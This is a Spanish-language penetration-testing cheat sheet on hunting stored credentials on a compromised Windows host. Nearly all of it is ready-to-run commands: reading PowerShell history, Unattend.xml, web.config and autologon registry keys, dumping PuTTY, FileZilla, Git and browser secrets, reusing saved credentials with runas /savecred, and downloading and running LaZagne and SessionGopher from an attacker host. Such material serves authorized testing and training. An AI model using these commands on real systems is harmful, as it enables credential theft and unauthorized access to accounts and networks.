Búsqueda de Credenciales y Información Sensible
PowerShell History - PSReadline
El comando Clear-History NO elimina este archivo. Es uno de los mayores errores de los administradores.
powershell
# Ver ubicación del histórico
(Get-PSReadlineOption).HistorySavePath
# Ver contenido
type $env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
type C:\Users\<usuario>\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
# Buscar contraseñas
Select-String -Path $env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt -Pattern "password|credential|secret|token"
# Buscar en múltiples usuarios
foreach($user in ((ls C:\users).fullname)){
$histPath = "$user\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt"
if (Test-Path $histPath) {
Write-Host "=== Histórico de $user ===" -ForegroundColor Green
Get-Content $histPath
}
}Transcripciones de PowerShell
Si PowerShell Transcription está habilitada, cada comando se registra.
powershell
Get-ChildItem -Path C:\Users\Public\Transcripts\ -File -Recurse -ErrorAction SilentlyContinue
Get-ChildItem -Path C:\ -Include *transcript* -File -Recurse -ErrorAction SilentlyContinue
type C:\Users\Public\Transcripts\<fecha>\PowerShell_transcript.<computador>.<timestamp>.txtArchivos de Instalación Desatendida (Unattend.xml)
¿Qué contienen? Configuración automática de instalación de Windows con credenciales frecuentemente en texto plano o base64.
Ubicaciones típicas:
C:\Unattend.xml
C:\Windows\Panther\Unattend.xml
C:\Windows\Panther\Unattend\Unattend.xml
C:\Windows\system32\sysprep\sysprep.xml
C:\Windows\system32\sysprep.infBúsqueda y extracción:
powershell
Get-ChildItem -Path C:\ -Include Unattend.xml, Unattend.ini, sysprep.xml -File -Recurse -ErrorAction SilentlyContinue
# Buscar credenciales específicamente
Select-String -Path "C:\Unattend.xml" -Pattern "Password|Administrator|Credentials"
# Ejemplo de formato:
<Credentials>
<Username>Administrator</Username>
<Domain>dominio.local</Domain>
<Password>MyPassword123</Password>
</Credentials>
# Si está en base64, decodificar
$encoded = "base64_string"
[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($encoded))Archivos de Configuración de Aplicaciones
IIS (Internet Information Services)
powershell
# Archivo de configuración web
type C:\inetpub\wwwroot\web.config
type C:\inetpub\wwwroot\web.config | Select-String "password"
# Buscar strings de conexión
Select-String -Path "C:\inetpub\wwwroot\web.config" -Pattern "connectionString|password|userid"
# Configuración de IIS global
type C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config
type C:\Windows\Microsoft.NET\Framework\v4.0.30319\Config\web.config
# Base de datos de IIS
type C:\Windows\system32\inetsrv\config\applicationHost.config | Select-String "password"XAMPP
powershell
type C:\xampp\passwords.txt
type C:\xampp\mysql\bin\my.ini
type C:\xampp\apache\conf\httpd.confPHP/Aplicaciones Web
powershell
Get-ChildItem -Path "C:\inetpub\" -Include *.php, *.config, *.ini -File -Recurse |
Select-String -Pattern "password|credential|secret|token|apikey|pass|pwd|user|admin"
Get-ChildItem -Path "C:\xampp\htdocs\" -Include *.php -File -Recurse |
Select-String -Pattern "password|user|pass|pwd"Archivos en Desktop y Documents
powershell
Get-ChildItem -Path $env:USERPROFILE\Desktop -Include *.txt, *.doc*, *.pdf, *.xls* -File -Recurse
Get-ChildItem -Path $env:USERPROFILE\Documents -Include *.txt, *.doc*, *.pdf, *.xls* -File -Recurse
Get-ChildItem -Path $env:USERPROFILE\Downloads -File
# Archivos con nombres sospechosos
Get-ChildItem -Path $env:USERPROFILE -Include *password*, *cred*, *pass*, *secret*, *admin* -File -Recurse -ErrorAction SilentlyContinue
# Leer archivos de notas
Get-Content $env:USERPROFILE\Desktop\*.txtSticky Notes (Notas Adhesivas de Windows)
powershell
# Ubicación
$stickyPath = "C:\Users\<usuario>\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_*\LocalState\plum.sqlite"
# Copiar la base de datos
Copy-Item -Path $stickyPath -Destination "C:\temp\plum.sqlite"
# Extraer con strings
strings plum.sqlite | Select-String "password|admin|credential|pass"Credenciales Guardadas en Windows (cmdkey)
powershell
# Ver credenciales guardadas
cmdkey /list
cmdkey /list /v
# Usar credenciales guardadas
runas /savecred /user:admin "cmd.exe"
runas /savecred /user:domain\admin "powershell.exe"Conexiones RDP Guardadas
powershell
# Registro de conexiones RDP
reg query "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Default"
# Servidores RDP conectados
reg query "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers"
# Buscar en todos los usuarios
foreach($user in ((ls C:\users).fullname)){
Write-Host "=== RDP servers para $user ===" -ForegroundColor Green
reg query "$user\Software\Microsoft\Terminal Server Client\Default" 2>$null
}Credenciales de Autologon
powershell
# Ver credenciales de autologon (login automático)
reg query "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon"
# Específicamente
reg query "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultUserName
reg query "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultPassword
reg query "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultDomainNameAplicaciones que Guardan Contraseñas
PuTTY (Cliente SSH)
powershell
# Sesiones guardadas
reg query HKEY_CURRENT_USER\SOFTWARE\SimonTatham\PuTTY\Sessions
# Detalles de sesión específica
reg query HKEY_CURRENT_USER\SOFTWARE\SimonTatham\PuTTY\Sessions\<session_name>
# Buscar contraseñas en todas las sesiones
reg query HKEY_CURRENT_USER\SOFTWARE\SimonTatham\PuTTY\Sessions /s | findstr "HostName\|UserName\|ProxyPassword"FileZilla (Cliente FTP)
powershell
# Archivo de configuración
$filezillaConfig = "$env:APPDATA\FileZilla\sitemanager.xml"
# Ver si existe
Test-Path $filezillaConfig
# Extraer información
[xml]$config = Get-Content $filezillaConfig
$config.FileZillaServer.Servers | Select-Object Host, Port, UserGit
powershell
# Credenciales guardadas en Git
type $env:USERPROFILE\.git-credentials
# Config de Git
type $env:USERPROFILE\.gitconfig
# Buscar en histórico de git local
cd <proyecto_git>
git log --all --oneline | findstr password
git log -p | findstr passwordNavegadores - Extracción de Contraseñas
Chrome/Edge
powershell
# Ubicación de credenciales
$chromePath = "$env:LOCALAPPDATA\Google\Chrome\User Data\Default"
Get-ChildItem "$chromePath" -Include "Login Data", "Cookies"
# Usar herramienta SharpChrome
.\SharpChrome.exe logins /unprotectFirefox
powershell
# Perfil de Firefox
$firefoxProfile = "$env:APPDATA\Mozilla\Firefox\Profiles\*"
Get-ChildItem $firefoxProfile -Include "logins.json"Búsqueda General de Archivos
powershell
# Buscar en archivos de configuración
Get-ChildItem -Path C:\ -Include *.config, *.ini, *.xml, *.conf -File -Recurse -ErrorAction Ignore |
Select-String -Pattern "password|credential|secret|token|apikey|pass|pwd|user|admin"
# Buscar en todos los .txt
Get-ChildItem -Path C:\ -Include *.txt -File -Recurse -ErrorAction Ignore |
Select-String -Pattern "password|admin|user|pass"
# Limitado a Desktop y Documents (más rápido)
Get-ChildItem -Path $env:USERPROFILE -Include *.txt, *.ini, *.config, *.xml, *.php -File -Recurse -ErrorAction Ignore |
Select-String -Pattern "password|credential"Logs del Sistema
powershell
# Logs con credenciales
Get-WinEvent -LogName Security -MaxEvents 1000 -ErrorAction SilentlyContinue |
Where-Object {$_.Message -like "*password*"} |
Select-Object TimeCreated, Message
# PowerShell Operational logs
Get-WinEvent -FilterHashtable @{LogName="Microsoft-Windows-PowerShell/Operational"} -MaxEvents 1000 -ErrorAction SilentlyContinue |
Where-Object {$_.Message -like "*password*"} |
Select-Object TimeCreated, MessageBúsqueda en Registro del Sistema
powershell
# Búsqueda de credenciales
reg query HKCU\Software\Microsoft\Windows\CurrentVersion\Internet\ Settings /s
reg query HKLM\SOFTWARE\RAS /s
reg query HKCU /s /f "password" /t REG_SZ 2>$null | head -20
reg query HKLM /s /f "password" /t REG_SZ 2>$null | head -20Herramientas Automáticas
LaZagne - Extractor Multiplataforma
powershell
# Descargar
iwr -uri http://192.168.1.100/lazagne.exe -OutFile lazagne.exe
# Ejecutar
.\lazagne.exe all
.\lazagne.exe browsers
.\lazagne.exe mails
.\lazagne.exe sysadminSessionGopher - Sesiones Guardadas
powershell
# Descargar
iwr -uri http://192.168.1.100/SessionGopher.ps1 -OutFile SessionGopher.ps1
# Importar
Import-Module .\SessionGopher.ps1
# Ejecutar
Invoke-SessionGopher -Target $env:COMPUTERNAME